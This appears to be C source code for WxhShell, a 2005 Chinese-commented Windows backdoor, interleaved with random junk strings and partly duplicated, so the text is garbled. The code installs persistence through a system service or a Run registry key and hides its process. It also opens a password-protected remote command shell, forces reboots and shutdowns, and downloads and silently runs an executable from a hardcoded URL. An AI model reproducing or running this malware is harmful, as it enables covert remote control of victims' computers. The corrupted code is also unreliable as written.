D2eckLT g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D?_Zl;bQ'^ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }@+0/W?\. NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YnAm{YyI lvz7#f L~ if (!NtQueryInformationProcess) return 0; VA_PvL.9 }!r|1$,kL hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <{cQM$# if(!hProcess) return 0; \'D0'\:vz @o _}g !9= if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mR:uj2* Ya"a`ozq CloseHandle(hProcess); =s2*H8] osAd1<EIC hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *)T^ChD, if(hProcess==NULL) return 0; ~Ea} /Au "ne?P9'hF HMODULE hMod; (Zrj_P`0[ char procName[255]; 266h\2t6 unsigned long cbNeeded; E,U+o $ kJsN|= if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &
G4\2l9 mSF(q78? CloseHandle(hProcess); E
A1?)|}n WiR(;m<g if(strstr(procName,"services")) return 1; // 以服务启动 ] 72`}; *zvx$yJ? return 0; // 注册表启动 (exa<hh } b9HtR -iR; 6j]0R*B7`Q // 主模块 m8hk:4Ae int StartWxhshell(LPSTR lpCmdLine) _op}1 { <)c)%'v SOCKET wsl; 9IfmW^0 BOOL val=TRUE; z E9W8:7 int port=0; &.Qrs:U struct sockaddr_in door; 'XjZ_ng dOH& if(wscfg.ws_autoins) Install(); |FZ/[9* @9RM9zK.q port=atoi(lpCmdLine); {qJ1ko)$ L+i=VGm0 if(port<=0) port=wscfg.ws_port; BG]#o|KW ?X<eV1a WSADATA data; Zt{[*~ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L48_96 1 bU,$4 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; e\zm7_+i{ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $>eCqC3 door.sin_family = AF_INET; {Gk1vcq door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZG8DIV\D7 door.sin_port = htons(port); 7#Kn8s
/{n-Y/jp if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eJX9_6m- closesocket(wsl); )g%d:xI return 1; `e&Suyf4B } FGmb<z 2p Vv=. -&' if(listen(wsl,2) == INVALID_SOCKET) { |3"KK closesocket(wsl); +lcbi return 1; )}Kf= } #r\4sVg Wxhshell(wsl); .|fHy WSACleanup(); 4!yzsPJL `mJ6K&t$< return 0; j>" @,B g* J<h$
wM } `l[c_%Bm D'DfJwA // 以NT服务方式启动 bwMm#f
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qqY"*uJ' { B%6)}Nl[ DWORD status = 0; Z=o2H Bm7 DWORD specificError = 0xfffffff; 3bH'H*2 aeM+ d`f serviceStatus.dwServiceType = SERVICE_WIN32; j6 z^Tt12 serviceStatus.dwCurrentState = SERVICE_START_PENDING; &@OT*pNna serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x
g serviceStatus.dwWin32ExitCode = 0; vXZOy%$o serviceStatus.dwServiceSpecificExitCode = 0; '_FsvHQ serviceStatus.dwCheckPoint = 0; f46t9dxp$ serviceStatus.dwWaitHint = 0; &n:.k}/P =-n}[Y}A hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U!\.]jfS if (hServiceStatusHandle==0) return; [hv~o~q GGs}i1m status = GetLastError(); fr6fj if (status!=NO_ERROR) ;[OH(! { 33B]RGq serviceStatus.dwCurrentState = SERVICE_STOPPED; {cVEmvE8 serviceStatus.dwCheckPoint = 0; c`w}|d]mC serviceStatus.dwWaitHint = 0; ~=l;=7 T serviceStatus.dwWin32ExitCode = status; m&&m,6``P serviceStatus.dwServiceSpecificExitCode = specificError; t-bB>q#3> SetServiceStatus(hServiceStatusHandle, &serviceStatus); A$0fKko return; qu{&xjTH8 } Dp-z[]})1 ]Q)OL serviceStatus.dwCurrentState = SERVICE_RUNNING; DsCcK3 k serviceStatus.dwCheckPoint = 0; +VOK%8,p serviceStatus.dwWaitHint = 0; BUXpCxQ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JP[K;/ } y}ev ,j LFRlzz; // 处理NT服务事件,比如:启动、停止 j'"J%e] VOID WINAPI NTServiceHandler(DWORD fdwControl) JU&c.p
/ { <6 Uf.u` switch(fdwControl) \"OG6G_>$ { Btn]}8K case SERVICE_CONTROL_STOP: ; )@~ serviceStatus.dwWin32ExitCode = 0; _F|Ek ;y% serviceStatus.dwCurrentState = SERVICE_STOPPED; `7V]y- serviceStatus.dwCheckPoint = 0; 56kI
5: serviceStatus.dwWaitHint = 0; [5Mr@f4I { ~U&AI1t+J SetServiceStatus(hServiceStatusHandle, &serviceStatus); [?N~s:} } Cjlk return; ar+9\ case SERVICE_CONTROL_PAUSE: x7<K<k;s serviceStatus.dwCurrentState = SERVICE_PAUSED; 0)Wltw~`& break; H8}oIA"b case SERVICE_CONTROL_CONTINUE: X2~!(WxU F serviceStatus.dwCurrentState = SERVICE_RUNNING; T!)(Dv8@F break; {q^[a-h> case SERVICE_CONTROL_INTERROGATE: -k"/X8 break; P8/0H(, }; '3^'B03 SetServiceStatus(hServiceStatusHandle, &serviceStatus); lZKi'vg7 } Q K<"2p? a~y'RyA // 标准应用程序主函数 "b3"TPfK int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ":QZy8f9% { aHK}sr,U w@w(-F!%l // 获取操作系统版本 8P&:_T! OsIsNt=GetOsVer(); |z^^.d~a0 GetModuleFileName(NULL,ExeFile,MAX_PATH); .V8Lauz8 z 1X` o // 从命令行安装 <*cikXS if(strpbrk(lpCmdLine,"iI")) Install(); &`2)V;t 8$Y9ORs4 // 下载执行文件 $X,D( if(wscfg.ws_downexe) { (V2fRv if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8XE7]&)]; WinExec(wscfg.ws_filenam,SW_HIDE); iSs:oH3l } [FR`Z=% oE]QF.n# if(!OsIsNt) { -]M5wb2, // 如果时win9x,隐藏进程并且设置为注册表启动 G2:
agqL/ HideProc(); 8VXH+5's StartWxhshell(lpCmdLine); _u QOHwn } 8&b,qQ~ else O)r4?<Q if(StartFromService()) WOL:IZX% // 以服务方式启动 L$M9w StartServiceCtrlDispatcher(DispatchTable); cTT L1SW else /hyN;.hpOO // 普通方式启动 t'k$&l}+ StartWxhshell(lpCmdLine); /aZ`[m2 z*%q@]ym return 0; smo~7; } B
\2SH%\ onxLyx|A toC^LZgZ_6 L)
T (< =========================================== Qh\60f>0
H6/$d [S!/E4>[' d>qY{Fdz 'm
kLCS &&>ekG9@ " /h|#J 1=Z0w +v{ #include <stdio.h> 9CD_os\h #include <string.h> Y`a3tO=Pd #include <windows.h> {F.[&/A #include <winsock2.h> *VT/ #include <winsvc.h> 1/J=uH #include <urlmon.h> 9~[Y-cpoi kMN~Y #pragma comment (lib, "Ws2_32.lib") <h *4Q #pragma comment (lib, "urlmon.lib") ER.}CM6{[ k@W1-D? #define MAX_USER 100 // 最大客户端连接数 U&p${IcEm #define BUF_SOCK 200 // sock buffer nb%6X82Q #define KEY_BUFF 255 // 输入 buffer [MY|T<q |Z += #define REBOOT 0 // 重启 =Jb>x#Y #define SHUTDOWN 1 // 关机 %n9aaoD Z/+#pWBI! #define DEF_PORT 5000 // 监听端口 6(ol1
(U JZyAXm% #define REG_LEN 16 // 注册表键长度 $*fMR,~t& #define SVC_LEN 80 // NT服务名长度 |@4' <4t 20Wg=p9L // 从dll定义API sd|).;s} typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1p=]hC typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qY!Zt_Be6 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); HN|%9{VeB typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &
>fQp(f _.8S& // wxhshell配置信息 #AQV(;r7@ struct WSCFG { 8bld3p"^ int ws_port; // 监听端口 ~b8]H|<'Y char ws_passstr[REG_LEN]; // 口令 ?$4 PVI} int ws_autoins; // 安装标记, 1=yes 0=no 9 djk[ttA) char ws_regname[REG_LEN]; // 注册表键名 -(H0>Ap char ws_svcname[REG_LEN]; // 服务名 %1+4_g9 char ws_svcdisp[SVC_LEN]; // 服务显示名 (SAs- char ws_svcdesc[SVC_LEN]; // 服务描述信息 [d]9Oa4 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TuaBm1S{f int ws_downexe; // 下载执行标记, 1=yes 0=no h@ryy\9 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Qt<&WB
fn char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $(x] l+^*LqEW2 }; |&i<bqLw: {"KMs[M // default Wxhshell configuration 7-fb.V9 struct WSCFG wscfg={DEF_PORT, }@d @3 "xuhuanlingzhe", hp|YE'uYT 1, 2<}%kQ` "Wxhshell", /cP"h!P}~~ "Wxhshell", ?%[jR=w "WxhShell Service", ?4T-@~~*`= "Wrsky Windows CmdShell Service", ysY*k` 5 "Please Input Your Password: ", /N.U/MPL_ 1, 5`p.#
"http://www.wrsky.com/wxhshell.exe", ;;/{xvQ.1 "Wxhshell.exe" ;9QEK]@ }; p9-K_dw3X@ AFwdJte9e // 消息定义模块 uQKT char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 63IM]J char *msg_ws_prompt="\n\r? for help\n\r#>"; a9Zq{Ysj char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [(7S .5I char *msg_ws_ext="\n\rExit."; ]Zh%DQ char *msg_ws_end="\n\rQuit."; 88$8d>- char *msg_ws_boot="\n\rReboot..."; f]srRYSR char *msg_ws_poff="\n\rShutdown..."; Uw<nxD/+ char *msg_ws_down="\n\rSave to "; U| R_OLWAg S{T >}'y char *msg_ws_err="\n\rErr!"; ]3Sp W{=^( char *msg_ws_ok="\n\rOK!"; q'Pf] ,Ma^ &ypH char ExeFile[MAX_PATH]; Nu)NqFG, int nUser = 0; =Nr-iae# HANDLE handles[MAX_USER]; g*+>H1} int OsIsNt; N4TV (X*^dO SERVICE_STATUS serviceStatus; MkXmA`cP SERVICE_STATUS_HANDLE hServiceStatusHandle; Y(Hs #Kn{ 'PW5ux@`< // 函数声明 ")p\q:z6 int Install(void); Z6MO^_m2 int Uninstall(void); *MW\^PR? int DownloadFile(char *sURL, SOCKET wsh); >uEzw4w int Boot(int flag); IO<6 void HideProc(void); ="l/ klYV int GetOsVer(void); b^vQpiz int Wxhshell(SOCKET wsl); )Hr`MB void TalkWithClient(void *cs); YKK*ER0 int CmdShell(SOCKET sock); XfIJ4ZM5 int StartFromService(void); LCV(,lu int StartWxhshell(LPSTR lpCmdLine); Xne1gms dft!lBN VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BDQsP$'6QT VOID WINAPI NTServiceHandler( DWORD fdwControl ); /Z}}(6T +D*Z_Yh6 // 数据结构和表定义 >9Vn.S SERVICE_TABLE_ENTRY DispatchTable[] = }4X0epPp;: { ]7c=PC {wscfg.ws_svcname, NTServiceMain}, R`-S/C {NULL, NULL} MVUJD{X# }; <b*DQ:N A?OQE9' // 自我安装 &_8947 int Install(void) }"%N4(Kd { M&M6;Ph char svExeFile[MAX_PATH]; _
jlRlt HKEY key; P@~yx#G strcpy(svExeFile,ExeFile); 7tCw*t$ goWuw}? // 如果是win9x系统,修改注册表设为自启动 2y1Sne=<Kb if(!OsIsNt) { HTTCTR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lPAQ3t!, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SSzIih@u RegCloseKey(key); E2+`4g@{8< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %mgE;~"& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %iqD5x$OA RegCloseKey(key); Q22 GIr return 0; +&H4m=D-#a } E' uZA } ;}p } kD"{g#c else { NvX[zqNP_R E _|<jy$` // 如果是NT以上系统,安装为系统服务 )D%~`,#pQ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @IZnFHN if (schSCManager!=0) ~pky@O#b { )fAUum SC_HANDLE schService = CreateService l9"s>P U ( F,CTZ~ schSCManager, %J-GKpo/S wscfg.ws_svcname, >y+B wscfg.ws_svcdisp, f*
wx< SERVICE_ALL_ACCESS, fI|$K)K SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p5*jzQ SERVICE_AUTO_START, 4?01s-Y SERVICE_ERROR_NORMAL, L-&\\{X svExeFile, _,*r_D61S NULL, KqP#6^ _ NULL, 4Wp=y NULL, ;mi%F3 NULL, *qpSXmOz NULL M )(DZ} ); oxtay7fx if (schService!=0) F((4U"
{ 0<*<$U CloseServiceHandle(schService); Vi|#@tC' CloseServiceHandle(schSCManager); {Y1Ck5 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tpx2IE strcat(svExeFile,wscfg.ws_svcname); HjwE+: w if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b7ZSPXV RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); NwfVL4Xg RegCloseKey(key); tO&^>&;5 return 0; N6TH}~62} } 86H+h(R/ } |5 ]X| v CloseServiceHandle(schSCManager); cidP|ie^ } f%8C!W]Dm } "ocyK}l.?
zKK9r~ M return 1; b~cZS[S } 43 :X,\~) 7-V/RChBm // 自我卸载 !p/goqT~dY int Uninstall(void) .jK4?}] { tT._VK]o&R HKEY key; Ew$C
;&9 NX&_p!_V if(!OsIsNt) { dQG=G%W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \
6MCxh6 RegDeleteValue(key,wscfg.ws_regname); f?)-}\[IR{ RegCloseKey(key); @E8+C8' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >.D4co> RegDeleteValue(key,wscfg.ws_regname); u]G\H!WkQ RegCloseKey(key); 3iU=c&P return 0; 2>59q$| } '0,^6'VWOV } 2+WaA, } H6gSO(U else { &,)&%Sg[ IvNT6]6 P SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iJ|uvPCE if (schSCManager!=0) Y|/ 8up { VS|2|n1<6 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YHl;flv if (schService!=0) J,6yYIq { HOJV,9v N if(DeleteService(schService)!=0) { :MDKC /mC CloseServiceHandle(schService); @KUWxFak CloseServiceHandle(schSCManager); /<BI46B\ return 0; *n"{J(Jt` } ;GD]dW# CloseServiceHandle(schService); 8JUwf } 4`=mu}Y2 CloseServiceHandle(schSCManager); |+"(L#wk } t3^&;&[ } U`s{Jm V^~:F return 1; Xlt|nX~#; } >KKMcTOYY tZB<on<.) // 从指定url下载文件 (uidNq int DownloadFile(char *sURL, SOCKET wsh) )=-szJjXZ { q" 5(H5 HRESULT hr; #)VF3T@#' char seps[]= "/"; a-J.B.A$Z/ char *token; Yz93'HDB char *file; -D~%|).' char myURL[MAX_PATH]; |vzl. ^"- char myFILE[MAX_PATH]; K~EmD9 lk80#( :Z strcpy(myURL,sURL); e@YK@?^#N token=strtok(myURL,seps); r,2g^K)6 while(token!=NULL) rQ snhv { An/|+r\ file=token; >c}u>]D token=strtok(NULL,seps); AkiDL=;w } ;xn0;V'= J4U1t2@)9 GetCurrentDirectory(MAX_PATH,myFILE); 2I{"XB strcat(myFILE, "\\"); Oa>Ppldeg strcat(myFILE, file); mB)bcuPv send(wsh,myFILE,strlen(myFILE),0); 1m0c|ckb send(wsh,"...",3,0); Z<{QaY$" hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dUdT7ixo if(hr==S_OK) 5Jnlz@P9 return 0; E&:,oG2M else <ZR9GlIr return 1; \z}
Ic%Tp +8ZF"{y } q-d:TMkc Y`wSv NU // 系统电源模块 8*a&Jl int Boot(int flag) `~q <N { r9G>jiw8 HANDLE hToken; L9#g)tf
8T TOKEN_PRIVILEGES tkp; jZrq{Z< #gw]'&{8D if(OsIsNt) { /;
85i6 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); IV)j1 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 18:%~>.! tkp.PrivilegeCount = 1; 0+b1vhQ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #C@FYOf* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,5<Cd,`* if(flag==REBOOT) { cj5+NM" if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]5:8Z@ return 0; )dd@\n$6 } %D "I else { koi^l`B$ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^5
Tqy(M return 0; 63 B?. }
X)3!_ } RViuJ; else { }*"p?L^p{ if(flag==REBOOT) { "g8M0[7e3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X!g#T9kG return 0; sCHJ&>m5- } Q&bM\;Ml else { [}]Q?*_ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Pk)1WK7E return 0; -A!%*9Z } 7Hu3>4< }
J5jvouR jEJT-*I1+ return 1; uM6+?A9@l } k"w"hg&e `*KHSA // win9x进程隐藏模块 jRV/A!4 void HideProc(void) v|2T%y_
u { iAU@Yg`pt =w0R$&b& HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :*\P n!r if ( hKernel != NULL ) bA->{OPkT { 45>?o pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {Y9q[D'g . ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7D5]G-}x. FreeLibrary(hKernel); H<N,%G } i
K? w6 Pgea NK5Y return; cYt!n5w~W } 6!FQzFCZq VP]% Hni] // 获取操作系统版本 I~XSn>-H int GetOsVer(void) S{m%H{A! { A^<iL OSVERSIONINFO winfo; PwLZkr@4^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -3Vx76Y GetVersionEx(&winfo); 4{`{WI{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U/NoP4~{ return 1; ~qOa\#x_ else }vM("v|M return 0; R~$qo)v } V~5jfcd aw42oLk // 客户端句柄模块 }`~+]9< int Wxhshell(SOCKET wsl) ^J;bso` { }pu27F)& SOCKET wsh; LFtt gY struct sockaddr_in client; %bfQ$a: DWORD myID; <UQbt N-B\ C~iL3Cb while(nUser<MAX_USER) Dm<A
^u8 { ySDH"|0 int nSize=sizeof(client); 04=c-~&q wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^r,=vO if(wsh==INVALID_SOCKET) return 1; y
h9*z3 9qG6Pb handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Jg|XH
L) if(handles[nUser]==0) emN*l]N closesocket(wsh); }9fTF:P else mL: sJf nUser++; !Q0w\j h } oM`0y@QCf WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &KRX[2 Npy:! return 0; ^.NU|NQi' } JcxThZP~ #O dJ"1A| // 关闭 socket *bA.zmzM void CloseIt(SOCKET wsh) "1M[5\Ax { V6reqEh closesocket(wsh); R/z=p_6p7` nUser--; 6j LCU%^ ExitThread(0); 9mTJ|sN:e } hZ v^ VitLC // 客户端请求句柄 :G%61x&=Zc void TalkWithClient(void *cs) $ gS>FJ { }Kbb4]t|" E09:E SOCKET wsh=(SOCKET)cs; v
z '&%( char pwd[SVC_LEN]; ;@|n @ax char cmd[KEY_BUFF]; 81
sG char chr[1]; v,>Dbxn int i,j; @t_=Yl2; Z}Ft:7 while (nUser < MAX_USER) { DN5 7p!z o:Sa,
!DK if(wscfg.ws_passstr) { Z@PmM4F@S if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ckE-",G //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2a Q[zK //ZeroMemory(pwd,KEY_BUFF); 8c^TT& i=0; ,wAF:7' while(i<SVC_LEN) { bAtSV u 7! INkH] // 设置超时 5taT5?n2 fd_set FdRead; {[?(9u7R struct timeval TimeOut; 1NA.nw. FD_ZERO(&FdRead); ^ sLdAC FD_SET(wsh,&FdRead); Cd}<a?m, TimeOut.tv_sec=8; 68WO~* TimeOut.tv_usec=0; \n|EM@=eE int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nk's_a*Z if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sN01rtB(UT 6zuTQ^pz if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fHd#u%63K pwd=chr[0]; D7Q$R:6| if(chr[0]==0xd || chr[0]==0xa) { [j/9neaye pwd=0; N~zdWnSZ@G break; 0{}8( } Od,qbU4O i++; fSvM(3Y<Qh } Uf;^%*P4 R)s:rJQ=p // 如果是非法用户,关闭 socket ,S]7 'UP if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jLHkOk5{: } S k\K4 Ls+2Zbh send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Tqn@P send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5f K_Aq{ nazZ*lC while(1) { Gm^U;u}=f q ,]L$ ZeroMemory(cmd,KEY_BUFF); Zw
S F^ 0rs"o-s< // 自动支持客户端 telnet标准 N]=q|D j=0; 8\A#CQ5b while(j<KEY_BUFF) { ^KT Y? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eiaFaYe\ cmd[j]=chr[0]; XW)lDiJl if(chr[0]==0xa || chr[0]==0xd) { !Pfr,a cmd[j]=0; c2 C8g1n break; 2B& |